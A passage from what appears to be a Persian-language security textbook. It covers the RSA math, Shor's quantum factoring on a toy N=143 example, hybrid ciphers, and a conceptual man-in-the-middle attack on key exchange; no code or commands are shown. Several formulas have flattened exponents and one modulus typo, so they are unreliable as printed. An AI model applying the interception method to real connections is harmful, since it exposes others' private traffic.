‫ﻃﺒﻖ ﻗﺎﻋﺪه ای ﮐﻪ ﻋﻤﻞ ﺿﺮب در ﺣﺴﺎب ﭘﯿﻤﺎﻧﻪ ای ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ ﻣﻌﺎدﻻت زﯾﺮ ﻧﯿﺰ درﺳﺖ اﺳﺖ‪:‬‬
‫)‪Mφ(N) · Mφ(N) = 1 · 1(modN‬‬
‫)‪M2·φ(N) = 1(modN‬‬
‫اﯾﻦ روﻧﺪ ‪ S‬ﺑﺎر ﺗﮑﺮار و ﻧﻬﺎﯾﺘﺎ ﻋﺒﺎرت زﯾﺮ ﺣﺎﺻﻞ ﻣﯽ ﮔﺮدد‪:‬‬
‫)‪S·φ(N‬‬
‫‪M‬‬ ‫)‪= 1(modN‬‬
‫اﮔﺮ ﻫﺮ دو ﻃﺮف در ‪ M‬ﺿﺮب ﺷﻮﻧﺪ ﻧﺘﯿﺠﻪ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد‪:‬‬
‫)‪MS·φ(N) · M = 1 · M(modN‬‬
‫)‪MS·φ(N)+1 = M(modN‬‬
‫اﯾﻦ ﻣﻌﺎدﻟﻪ ﻫﺴﺘﻪ ﻣﺮﮐﺰی ‪ RSA‬اﺳﺖ‪ .‬ﯾﮏ ﺷﻤﺎره )ﻣﺜﻼ ‪ (M‬ﮐﻪ در ﭘﯿﻤﺎﻧﻪ ‪ N‬ﺑﻪ ﯾـﮏ ﺗـﻮان دﻟﺨـﻮاه ﻣـﯽ رﺳـﺪ‪ ،‬ﻣﺠـﺪدا‬
‫ﺷﻤﺎره اوﻟﯿﻪ )‪ (M‬را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ‪ .‬در ﺣﻘﯿﻘﺖ ﺗﺎﺑﻌﯽ اﺳﺖ ﮐﻪ ورودی ﺧﻮد را ﺑﺮ ﻣـﯽ ﮔﺮداﻧـﺪ‪ .‬اﻣـﺎ اﮔـﺮ اﯾـﻦ ﻣﻌﺎدﻟـﻪ را‬
‫ﺑﺘﻮان ﺑﻪ دو ﻗﺴﻤﺖ ﻣﺠـﺰا ﺗﺒـﺪﯾﻞ ﮐـﺮد‪ ،‬آﻧﮕـﺎه ﻣـﯽ ﺗـﻮان ﯾـﮏ ﻗـﺴﻤﺖ را ﺑـﺮای رﻣﺰﻧﮕـﺎری و ﻗـﺴﻤﺖ دﯾﮕـﺮ را ﺑـﺮای‬
‫رﻣﺰﮔﺸﺎﯾﯽ و ﺗﻮﻟﯿﺪ ﻣﺠﺪد ﭘﯿﺎم اﺻﻠﯽ اﺳﺘﻔﺎده ﮐﺮد‪ .‬ﺑﺎ ﯾﺎﻓﺘﻦ و ﺿﺮب ﮐﺮدن دو ﻋﺪد ‪ E‬و ‪ D‬و ﻣﺴﺎوی ﻗﺮار دادن آن ﺑﺎ ‪S‬‬
‫ﺿﺮﺑﺪر )‪ φ(N‬ﺑﻌﻼوه ‪ 1‬ﻣﯽ ﺗﻮان اﯾﻦ ﮐﺎر را اﻧﺠﺎم داد‪ .‬ﺳﭙﺲ اﯾﻦ ﻣﻘﺪار را ﻣﯽ ﺗﻮان در ﻣﻌﺎدﻟـﻪ ﻗﺒﻠـﯽ ﺟﺎﯾﮕـﺬاری ﮐـﺮد‪.‬‬
‫ﺑﻨﺎﺑﺮاﯾﻦ ﺧﻮاﻫﯿﻢ داﺷﺖ‪:‬‬
‫‪E · D = S · φ(N)+1‬‬
‫)‪ME · D = M(modN‬‬
‫ﮐﻪ ﺑﺮاﺑﺮ ﺑﺎ ﻋﺒﺎرت )‪ MED = M(modN‬ﻫﺴﺘﻨﺪ ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ دو ﻗﺴﻤﺖ ﺗﻘﺴﯿﻢ ﮐﺮد‪:‬‬
‫)‪ME = C(modN‬‬
‫)‪CD = M(modN‬‬
‫اﯾﻦ اﺳﺎس ﻋﻤﻠﮑﺮد ‪ RSA‬اﺳﺖ‪ .‬اﻣﻨﯿﺖ اﻟﮕﻮرﯾﺘﻢ‪ ،‬ﺳﻌﯽ ﺑﺮ ﻣﺤﺮﻣﺎﻧﻪ ﻧﮕﻬﺪاﺷﺘﻦ ‪ D‬اﺳﺖ‪ .‬اﻣﺎ ﭼﻮن ‪ N‬و ‪ E‬ﻫﺮ دو ﻣﻘﺎدﯾﺮ‬
‫ﻋﻤﻮﻣﯽ ﻫﺴﺘﻨﺪ‪ ،‬اﮔﺮ ‪ N‬را ﺑﺘﻮان ﺑﻪ ﻋﺎﻣﻞ ﻫﺎی اوﻟﯿﻪ ‪ P‬و ‪ Q‬ﺗﺒـﺪﯾﻞ ﮐـﺮد‪ ،‬آﻧﮕـﺎه ﻣـﯽ ﺗـﻮان )‪ φ(N‬را ﺑـﺴﺎدﮔﯽ ﺑـﺎ ‪(P −‬‬
‫)‪ 1) · (Q − 1‬ﻣﺤﺎﺳﺒﻪ ﮐﺮد و ‪ D‬را ﺑﺎ اﻟﮕﻮرﯾﺘﻢ ﺗﻌﻤﯿﻢ ﯾﺎﻓﺘﻪ اﻗﻠﯿﺪس ﺗﻌﯿﯿﻦ ﻧﻤـﻮد‪ .‬ﺑﻨـﺎﺑﺮاﯾﻦ اﻧـﺪازه ﮐﻠﯿـﺪ ﺑـﺮای ‪،RSA‬‬
‫ﺑﺎﯾﺪ ﺑﺎ ﻧﻈﺮ ﺑﻪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻋﺎﻣﻞ ﯾﺎﺑﯽ اﻧﺘﺨﺎب ﺷﻮد ﺗﺎ اﻣﻨﯿﺖ ﻣﺤﺎﺳـﺒﺎﺗﯽ ﺑﺮﻗـﺮار ﺷـﻮد‪ .‬در ﺣـﺎل ﺣﺎﺿـﺮ‬
‫ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻋﺎﻣﻞ ﯾﺎﺑﯽ ﺑﺮای اﻋﺪاد ﺑﺰرگ‪ ،‬ﻏﺮﺑﺎل ﻣﯿﺪان ﻋـﺪد )‪ 101(NFS‬اﺳـﺖ‪ .‬اﯾـﻦ اﻟﮕـﻮرﯾﺘﻢ ﯾـﮏ‬
‫زﻣﺎن اﺟﺮای زﯾﺮ‪-‬ﺗﻌﺮﯾﻔﯽ )‪ (sub-exponential‬دارد ﮐﻪ ﻧﺴﺒﺘﺎ ﺧﻮب اﺳﺖ‪ ،‬اﻣﺎ ﺑﻪ ﻗﺪر ﮐﺎﻓﯽ ﺟﻬﺖ ﮐﺮک ﮐـﺮدن ﯾـﮏ‬
‫ﮐﻠﯿﺪ ‪ 2,048‬ﺑﯿﺘﯽ ‪ ،RSA‬در ﯾﮏ ﺑﺎزه زﻣﺎﻧﯽ ﻣﻌﻘﻮل ﺑﺰرگ ﻧﯿﺴﺖ‪.‬‬

‫‪ .4,4,2‬اﻟﮕﻮرﯾﺘﻢ ﻓﺎﮐﺘﻮرﮔﯿﺮی ﮐﻮاﻧﺘﻮﻣﯽ از ﭘﯿﺘﺮ ﺷﻮر‬

‫ﻣﺠﺪدا ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘﻮﻣﯽ‪ ،‬وﻋﺪه اﻓﺰاﯾﺶ ﺗﻮان ﻣﺤﺎﺳﺒﺎﺗﯽ را ﻧﻮﯾﺪ ﻣﯽ دﻫﺪ‪ .‬ﭘﯿﺘﺮ ﺷﻮر )‪ (Peter Shor‬ﻣـﯽ ﺗﻮاﻧـﺴﺖ از‬
‫ﺗﻮازن وﺳﯿﻊ ﻣﻮﺟﻮد در ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی ﮐﻮاﻧﺘﻮﻣﯽ ﺑﻪ ﻣﻨﻈﻮر ﻋﺎﻣﻞ ﯾﺎﺑﯽ ﺷﻤﺎره ﻫﺎ ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ ﺣﻘـﻪ در ﻧﻈﺮﯾـﻪ اﻋـﺪاد‬
‫اﺳﺘﻔﺎده ﮐﻨﺪ‪.‬‬
‫اﻟﮕﻮرﯾﺘﻢ ﻋﻤﻼ ﺑﺴﯿﺎر ﺳﺎده ﺑﻮد‪ .‬ﯾﮏ ﺷﻤﺎره ﺑﺮای ﻋﺎﻣﻞ ﯾﺎﺑﯽ درﯾﺎﻓﺖ ﻣﯽ ﺷﻮد )‪ .(N‬ﻣﻘﺪاری ﮐﻤﺘﺮ از ‪ N‬ﺑﺮای ‪ A‬اﻧﺘﺨـﺎب‬
‫ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ ﻣﻘﺪار ﺑﺎﯾﺪ ﻧﺴﺒﺖ ﺑﻪ ‪ N‬ﻧﯿﺰ اول ﺑﺎﺷﺪ‪ ،‬اﻣﺎ ﺑﺎ ﻓﺮض اﯾﻨﮑـﻪ ‪ N‬ﺣﺎﺻﻠـﻀﺮب دو ﻋـﺪد اول اﺳـﺖ )ﮐـﻪ ﻫﻤﯿـﺸﻪ‬

‫‪101‬‬
‫‪Number Field Sieve‬‬
‫‪156‬‬
‫ﺟﻬﺖ ﻋﺎﻣﻞ ﯾﺎﺑﯽ اﻋﺪاد ﺑﻪ ﻣﻨﻈﻮر ﺷﮑﺴﺘﻦ ‪ RSA‬ﺻﺎدق اﺳﺖ(‪ ،‬اﮔﺮ ‪ A‬ﻧﺴﺒﺖ ﺑﻪ ‪ N‬اول ﻧﺒﺎﺷﺪ‪ ،‬آﻧﮕﺎه ﺣﺘﻤﺎ ﯾﮑﯽ از ﻋﺎﻣـﻞ‬
‫ﻫﺎی ‪ N‬ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫ﻣﺘﻌﺎﻗﺒﻼ ﻣﺤﻞ اﻧﻄﺒﺎق )‪ (superposition‬را ﺑﺎ ﺷﻤﺎره ﻫﺎی ﻣﺘﻮاﻟﯽ ﺷﺮوع ﺷﺪه از ‪ 1‬ﺑﺎرﮔﺬاری ﻣﯽ ﮐﻨﯿﻢ و ﻫﺮ ﯾـﮏ از آن‬
‫ﻣﻘﺎدﯾﺮ را از ﻃﺮﯾﻖ ﺗﺎﺑﻊ )‪ f(x) = Ax(modN‬ﻣﯽ دﻫﯿﻢ‪ .‬ﺗﻤﺎم اﯾﻦ ﻋﻤﻠﯿﺎت ﺑﺎ ﺟﺎدوی ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘـﻮﻣﯽ ﻣـﯽ ﺗﻮاﻧـﺪ در‬
‫واﺣﺪ زﻣﺎن اﻧﺠﺎم ﺷﻮد‪ .‬ﯾﮏ اﻟﮕﻮی ﺗﮑﺮار در ﻧﺘﺎﯾﺞ ﺗﺎﺑﻊ ﻧﻤﻮد دارد و دوره اﯾﻦ ﺗﮑﺮار را ﺑﺎﯾﺪ ﭘﺎﯾﺪ ﮐﺮد‪ .‬ﺧﻮﺷـﺒﺨﺘﺎﻧﻪ اﯾـﻦ‬
‫ﮐﺎر را ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﺳﺮﻋﺖ روی ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی ﮐﻮاﻧﺘﻮﻣﯽ ﺑﺎ ﯾﮏ ﺗﻐﯿﯿﺮ ﺷﮑﻞ ‪ Fourier‬اﻧﺠﺎم داد‪ .‬دوره را ﺑﺎ ‪ R‬ﻧﺸﺎن ﻣـﯽ‬
‫دﻫﯿﻢ‪.‬‬
‫ﺳﭙﺲ ﻣﻘﺎدﯾﺮ )‪ gcd(AR/2 + 1, N‬و )‪ gcd(AR/2 − 1, N‬ﻣﺤﺎﺳﺒﻪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﺣﺪاﻗﻞ ﯾﮑﯽ از اﯾﻦ ﻣﻘﺎدﯾﺮ ﺑﺎﯾﺪ ﻋـﺎﻣﻠﯽ از‬
‫‪ N‬ﺑﺎﺷﺪ ﮐﻪ اﯾﻦ ﻓﺮﺿﯿﻪ ﺑﻪ دﻟﯿﻞ ﺑﺮﻗﺮاری ﺗﺴﺎوی )‪ AR = 1 (mod N‬اﻣﮑﺎن ﭘﺬﯾﺮ و در زﯾـﺮ ﺑﯿـﺸﺘﺮ ﺗﻮﺿـﯿﺢ داده ﺷـﺪه‬
‫اﺳﺖ‪.‬‬
‫)‪AR – 1(modN‬‬
‫)‪(AR/2)2 – 1(modN‬‬
‫)‪(AR/2)2 – 1 = 0(modN‬‬
‫)‪(AR/2 – 1) · (AR/2 + 1) = 0(modN‬‬
‫ﺑﻪ اﯾﻦ ﺻﻮرت )‪ (AR/2 − 1) · (AR/2 + 1‬ﻣﻀﺮب ﺻﺤﯿﺤﯽ از ‪ N‬اﺳﺖ‪ .‬ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ اﯾﻦ ﻣﻘﺎدﯾﺮ ﻣﻘـﺪار ﺻـﻔﺮ را اﺧﺘﯿـﺎر‬
‫ﻧﮑﻨﻨﺪ‪ ،‬ﯾﮑﯽ از آﻧﻬﺎ ﯾﮏ ﻋﺎﻣﻞ ﻣﺸﺘﺮک ﺑﺎ ‪ N‬ﺧﻮاﻫﺪ داﺷﺖ‪.‬‬
‫ﺑﺮای ﮐﺮک ﮐﺮدن ﻣﺜﺎل ﻗﺒﻠﯽ ‪ ،RSA‬ﺑﺎﯾﺪ ﻣﻘﺪار ﻋﻤﻮﻣﯽ ‪ N‬را ﻋﺎﻣﻞ ﯾـﺎﺑﯽ ﮐـﺮد‪ .‬در اﯾـﻦ ﻣـﻮرد ‪ N‬ﺑﺮاﺑـﺮ ﺑـﺎ ‪ 143‬اﺳـﺖ‪.‬‬
‫ﺳﭙﺲ ﻣﻘﺪاری ﺑﺮای ‪ A‬اﻧﺘﺨﺎب ﻣﯽ ﺷﻮد ﮐﻪ ﻧﺴﺒﺖ ﺑﻪ ‪ N‬اول و از آن ﮐﻮﭼﮑﺘﺮ ﺑﺎﺷﺪ‪ ،‬ﭘﺲ ‪ A‬ﺑﺮاﺑﺮ ‪ 21‬ﻣﯽ ﺷﻮد‪ .‬ﺑﻪ اﯾـﻦ‬
‫ﺗﺮﺗﯿﺐ ﺗﺎﺑﻊ ﺑﻪ ﺷﮑﻞ زﯾﺮ ﺧﻮاﻫﺪ ﺷﺪ‪:‬‬
‫‪x‬‬
‫)‪f(x) = 21 (mod143‬‬
‫ﻫﺮ ﻣﻘﺪار ﻣﺘﻮاﻟﯽ ﮐﻪ از ‪ 1‬ﺷﺮوع ﺷﺪه و ﺑﻪ ﺑﺰرﮔﺘﺮﯾﻦ ﻋﺪدی ﮐﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ ﮐﻮاﻧﺘﻮﻣﯽ اﺟﺎزه ﻣﯽ دﻫـﺪ‪ ،‬در اﯾـﻦ ﺗـﺎﺑﻊ ﻗـﺮار‬
‫داده ﺧﻮاﻫﺪ ﺷﺪ‪ .‬ﺟﻬﺖ ﮐﻮﺗﺎه ﻧﮕﻪ داﺷﺘﻦ ﻣﺜﺎل‪ ،‬ﻓﺮض ﻣﯽ ﮐﻨﯿﻢ ﮐﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ ﮐﻮاﻧﺘﻮﻣﯽ دارای ﺳﻪ ﺑﯿﺖ ﮐﻤﯽ‪ 102‬اﺳﺖ‪ ،‬ﻟﺬا‬
‫آراﯾﻪ اﻧﻄﺒﺎق ﻣﯽ ﺗﻮاﻧﺪ ‪ 8‬ﻣﻘﺪار را ﻧﮕﻬﺪاری ﮐﻨﺪ‪.‬‬
‫‪1‬‬
‫‪x‬‬ ‫=‬ ‫‪1‬‬ ‫‪21‬‬ ‫‪(mod‬‬ ‫)‪143‬‬ ‫=‬ ‫‪21‬‬
‫‪x‬‬ ‫=‬ ‫‪2‬‬ ‫‪212‬‬ ‫‪(mod‬‬ ‫)‪143‬‬ ‫=‬ ‫‪12‬‬
‫‪x‬‬ ‫=‬ ‫‪3‬‬ ‫‪213‬‬ ‫‪(mod‬‬ ‫)‪143‬‬ ‫=‬ ‫‪109‬‬
‫‪x‬‬ ‫=‬ ‫‪4‬‬ ‫‪214‬‬ ‫‪(mod‬‬ ‫)‪143‬‬ ‫=‬ ‫‪1‬‬
‫‪x‬‬ ‫=‬ ‫‪5‬‬ ‫‪215‬‬ ‫‪(mod‬‬ ‫)‪143‬‬ ‫=‬ ‫‪21‬‬
‫‪x‬‬ ‫=‬ ‫‪6‬‬ ‫‪216‬‬ ‫‪(mod‬‬ ‫)‪143‬‬ ‫=‬ ‫‪12‬‬
‫‪x‬‬ ‫=‬ ‫‪7‬‬ ‫‪217‬‬ ‫‪(mod‬‬ ‫)‪143‬‬ ‫=‬ ‫‪109‬‬
‫‪x‬‬ ‫=‬ ‫‪8‬‬ ‫‪218‬‬ ‫‪(mod‬‬ ‫)‪143‬‬ ‫=‬ ‫‪1‬‬
‫در اﯾﻨﺠﺎ دوره را ﻣﯽ ﺗﻮان ﺑﻪ ﺳﺎدﮔﯽ ﺑﺎ ﭼﺸﻢ ﻣﺤﺎﺳﺒﻪ ﮐﺮد‪ R :‬ﺑﺮاﺑـﺮ ‪ 4‬اﺳـﺖ‪ .‬ﺑـﺎ در اﺧﺘﯿـﺎر داﺷـﺘﻦ اﯾـﻦ اﻃﻼﻋـﺎت‪ ،‬دو‬
‫ﻋﺒﺎرت )‪ gcd(212 −1, 143‬و )‪ gcd(212 +1, 143‬ﺑﺎﯾﺪ ﺣﺪاﻗﻞ ﯾﮑﯽ از ﻋﺎﻣـﻞ ﻫـﺎ را ﺗﻮﻟﯿـﺪ ﮐﻨﻨـﺪ‪ .‬ﭼـﻮن ‪gcd(440,‬‬
‫‪ 143) = 11‬و ‪ ،gcd(442, 142) = 13‬ﻟﺬا ﻫﺮ دو ﻋﺎﻣﻞ ﻋﻤﻼ اﯾﻨﺒﺎر ﺗﻮﻟﯿﺪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﯾﻦ ﻓﺎﮐﺘﻮرﻫـﺎ را ﻣـﯽ ﺗـﻮان ﺟﻬـﺖ‬
‫ﻣﺤﺎﺳﺒﻪ ﻣﺠﺪد ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ در ﻣﺜﺎل ‪ RSA‬ﻗﺒﻠﯽ اﺳﺘﻔﺎده ﮐﺮد‪.‬‬

‫‪ .4,5‬رﻣﺰﻫﺎی ﭘﯿﻮﻧﺪی ﯾﺎ ﺗﺮﮐﯿﺒﯽ )‪(Hybrid‬‬

‫ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﭘﯿﻮﻧﺪی ﯾﺎ ﺗﺮﮐﯿﺒﯽ )‪ (hybrid‬از ﻫﺮ دو اﻟﮕﻮی ﻗﺒﻠﯽ ﺑﻬﺘﺮ اﺳﺖ‪ .‬ﯾﮏ رﻣﺰ ﻧﺎﻣﺘﻘﺎرن ﺑـﺮای ﺗﺒـﺎدل ﯾـﮏ‬
‫ﮐﻠﯿﺪ ﺗﻮﻟﯿﺪ ﺷﺪه ﺗﺼﺎدﻓﯽ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ﮐﻪ ﺑﺎ ﯾﮏ رﻣﺰ ﻣﺘﻘﺎرن ﺟﻬﺖ رﻣﺰﻧﮕﺎری ارﺗﺒﺎﻃـﺎت ﺑﺎﻗﯿﻤﺎﻧـﺪه ﺑﮑـﺎر ﻣـﯽ رود‪.‬‬

‫‪102‬‬
‫‪Quantum Bits‬‬
‫‪157‬‬
‫اﯾﻦ روﻧﺪ ﺳﺮﻋﺖ و ﮐﺎرآﯾﯽ ﯾﮏ رﻣﺰ ﻣﺘﻘﺎرن را ﺧﻮاﻫﺪ داﺷﺖ‪ ،‬درﺣﺎﻟﯿﮑﻪ ﭼﺎﻟﺶ ﺗﺒﺎدل ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ را ﻧﯿﺰ ﺣﻞ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫رﻣﺰﻫﺎی ﺗﺮﮐﯿﺒﯽ ﺗﻮﺳﻂ ﻣﺪرﻧﺘﺮﯾﻦ ﮐﺎرﺑﺮدﻫﺎی رﻣﺰﻧﮕﺎری از ﺟﻤﻠﻪ ‪ SSH ،SSL‬و ‪ PGP‬اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪.‬‬
‫ﭼﻮن ﺑﺴﯿﺎری از ﮐﺎرﺑﺮدﻫﺎ از رﻣﺰﻫﺎﯾﯽ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ در ﻣﻘﺎﺑﻞ ﺗﺤﻠﯿﻞ رﻣﺰ ﻣﻘﺎوم ﻫﺴﺘﻨﺪ‪ ،‬ﻟﺬا ﺣﻤﻠﻪ ﺑﻪ رﻣـﺰ ﻧﺘﯿﺠـﻪ‬
‫ای در ﺑﺮ ﻧﺨﻮاﻫﺪ داﺷﺖ‪ .‬ﺑﺎ اﯾﻦ ﺣﺎل‪ ،‬اﮔﺮ ﯾﮏ ﻧﻔﻮذﮔﺮ ﺑﺘﻮاﻧﺪ ارﺗﺒﺎﻃﺎت ﺑﯿﻦ دو ﻃﺮف را ﻗﻄﻊ ﮐﺮده و ﺧﻮد را ﺟﺎی ﯾﮑـﯽ‬
‫از ﻃﺮﻓﯿﻦ ﺟﺎ ﺑﺰﻧﺪ‪ ،‬آﻧﮕﺎه ﻣﯽ ﺗﻮان ﺑﻪ اﻟﮕﻮرﯾﺘﻢ ﺗﺒﺎدل ﮐﻠﯿﺪ ﺣﻤﻠﻪ ﮐﺮد‪.‬‬

‫‪ .4,5,1‬ﺣﻤﻼت ‪Man in the Middle‬‬

‫ﯾﮏ ﺣﻤﻠﻪ ‪ (Man-In-the-Middle) MiM‬روش زﯾﺮﮐﺎﻧﻪ ای ﺑﺮای ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ رﻣﺰﻧﮕﺎری اﺳﺖ‪ .‬ﻧﻔـﻮذﮔﺮ ﺑـﯿﻦ دو‬
‫ﻃﺮف ارﺗﺒﺎط ﻗﺮار ﻣﯽ ﮔﯿﺮد و ﻫﺮ ﯾﮏ از ﻃﺮﻓﯿﻦ ﮔﻤﺎن ﻣﯽ ﮐﻨـﺪ ﮐـﻪ ﺑـﺎ ﻃـﺮف دﯾﮕـﺮ )و ﻧـﻪ ﻧﻔـﻮذﮔﺮ( در ارﺗﺒـﺎط اﺳـﺖ‪،‬‬
‫درﺣﺎﻟﯿﮑﻪ ﻫﺮ دوی آﻧﻬﺎ ﺑﺎ ﻧﻔﻮذﮔﺮ در ارﺗﺒﺎط ﻫﺴﺘﻨﺪ‪.‬‬
‫ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ارﺗﺒﺎط رﻣﺰی ﺑﯿﻦ دو ﻃﺮف ﺑﺮﻗﺮار اﺳﺖ‪ ،‬ﯾﮏ ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ ﺗﻮﻟﯿﺪ ﺷﺪه و ﺑﻮﺳـﯿﻠﻪ ﯾـﮏ رﻣـﺰ ﻧﺎﻣﺘﻘـﺎرن‬
‫ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد‪ .‬ﻣﻌﻤﻮﻻ اﯾﻦ ﮐﻠﯿﺪ ﺑﺮای رﻣﺰﻧﮕﺎری ارﺗﺒﺎﻃﺎت آﺗﯽ ﺑﯿﻦ دو ﻃﺮف اﺳﺘﻔﺎده ﻣﯽ ﺷـﻮد‪ .‬ﭼـﻮن ﮐﻠﯿـﺪ ﺑـﺼﻮرت‬
‫ﻣﺤﺮﻣﺎﻧﻪ ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد و ﺗﺮاﻓﯿﮏ ﺑﻌﺪ از آن ﺗﻮﺳﻂ اﯾﻦ ﮐﻠﯿﺪ‪ ،‬اﯾﻤﻦ ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﻟﺬا ﺗﻤﺎم ﺗﺮاﻓﯿـﮏ ﺑـﺮای ﻧﻔـﻮذﮔﺮی ﮐـﻪ‬
‫اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ را اﺳﺘﺮاق ﮐﺮده ﺑﺎﺷﺪ ﻏﯿﺮﻗﺎﺑﻞ ﻓﻬﻢ ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫ﺑﻪ ﻫﺮ ﺣﺎل در ﯾﮏ ﺣﻤﻠﻪ ‪ ،MiM‬ﻃﺮف ‪ A‬ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ ﺑﺎ ‪ B‬در ارﺗﺒﺎط اﺳﺖ و ﻃﺮف ‪ B‬ﻧﯿﺰ ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ ﺑﺎ ‪.A‬‬
‫اﻣﺎ در ﻋﻤﻞ ﻫﺮ دو ﺑﺎ ﻧﻔﻮذﮔﺮ در ارﺗﺒﺎط ﻫﺴﺘﻨﺪ‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ‪ ،A‬ﺑﺎ ﯾﮏ ارﺗﺒﺎط رﻣﺰﺷﺪه ﺑﺎ ‪ B‬ﮔﻔﺖ و ﮔﻮ ﻣﯽ ﮐﻨﺪ‪،‬‬
‫در ﺣﻘﯿﻘﺖ ﯾﮏ ارﺗﺒﺎط رﻣﺰﺷﺪه را ﺑﺮای ﻧﻔﻮذﮔﺮ ﺑﺎز ﻣﯽ ﮐﻨﺪ‪ ،‬ﯾﻌﻨﯽ ﻧﻔﻮذﮔﺮ ﺑﻄﻮر ﻣﺤﺮﻣﺎﻧﻪ ﺑﺎ ﯾﮏ رﻣـﺰ ﻧﺎﻣﺘﻘـﺎرن ارﺗﺒـﺎط‬
‫ﺑﺮﻗﺮار ﮐﺮده و ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ را ﻣﯽ ﻓﻬﻤﺪ‪ .‬در ﻗﺪم ﺑﻌﺪ ﺗﻨﻬﺎ ﻧﯿﺎز اﺳﺖ ﮐﻪ ﻧﻔﻮذﮔﺮ ارﺗﺒﺎط رﻣﺰﺷﺪه دﯾﮕﺮی ﺑـﺎ ‪ B‬ﺑﺮﻗـﺮار‬
‫ﮐﻨﺪ‪ .‬ﺑﻪ اﯾﻦ ﺗﺮﺗﯿﺐ ‪ B‬ﻧﯿﺰ ﮔﻤﺎن ﻣﯽ ﺑﺮد ﮐﻪ ﺑﺎ ‪ A‬در ﺣﺎل ارﺗﺒﺎط اﺳﺖ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ در ﺗﺼﻮﯾﺮ زﯾﺮ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‪:‬‬

‫ﺑﻪ اﯾﻦ ﺻﻮرت ﻧﻔﻮذﮔﺮ ﻋﻤﻼ دو ﮐﺎﻧﺎل ارﺗﺒﺎﻃﯽ رﻣﺰﺷﺪه ﻣﺠﺰا را ﺑﺎ دو ﮐﻠﯿﺪ رﻣﺰﻧﮕﺎری ﻣﺠﺰا ﺑﺮﻗﺮار ﻣﯽ ﺳﺎزد‪ .‬ﺑﺴﺘﻪ ﻫﺎ از‬
‫‪ A‬ﺑﺎ اوﻟﯿﻦ ﮐﻠﯿﺪ رﻣﺰ و ﺑﻪ ﻧﻔﻮذﮔﺮ ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ )‪ A‬ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﯾﻦ ﺑﺴﺘﻪ ﻫـﺎ ﺑـﻪ ‪ B‬ارﺳـﺎل ﺷـﺪه اﻧـﺪ(‪ .‬ﺳـﭙﺲ‬
‫ﻧﻔﻮذﮔﺮ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ را ﺑﺎ اوﻟﯿﻦ ﮐﻠﯿﺪ رﻣﺰﮔﺸﺎﯾﯽ ﮐﺮده و ﻣﺠﺪدا آﻧﺮا ﺑﺎ ﮐﻠﯿﺪ دوم رﻣﺰﻧﮕﺎری ﻣﯽ ﮐﻨﺪ‪ .‬ﺳﭙﺲ اﯾـﻦ ﺑـﺴﺘﻪ‬
‫ﻫﺎی رﻣﺰﺷﺪه ﺟﺪﯾﺪ را ﺑﻪ ‪ B‬ارﺳﺎل ﻣﯽ دارد )‪ B‬ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ از ‪ A‬ارﺳﺎل ﺷﺪه اﻧﺪ(‪ .‬ﺑﺎ ﻗﺮار ﮔﺮﻓﺘﻦ در‬

‫‪158‬‬
‫ ﺑﺪون آﮔﺎﻫﯽ دو ﻃﺮف از اﯾﻦ ﻣﺴﺌﻠﻪ ﻧﻔﻮذﮔﺮ ﻗـﺎدر ﺑـﻪ اﺳـﺘﺮاق و ﺣﺘـﯽ دﺳـﺘﮑﺎری‬،‫ﺑﯿﻦ دو ﻃﺮف و اﯾﺠﺎد دو ﮐﻠﯿﺪ ﻣﺠﺰا‬
.‫ﺗﺮاﻓﯿﮏ ﺑﯿﻦ دو ﻃﺮف ﺧﻮاﻫﺪ ﺑﻮد‬
‫ ﺑﻪ ﮐﺎر ﻣﯽ رﻓـﺖ( و‬ARP Redirection ‫اﯾﻦ ﻓﺮاﯾﻨﺪ را ﺗﻤﺎﻣﺎ ﻣﯽ ﺗﻮان ﺑﺎ اﺳﮑﺮﯾﭙﺖ ﭘﺮل ﻣﻮﺟﻮد در ﻓﺼﻞ ﺳﻮم )ﮐﻪ ﺑﺮای‬
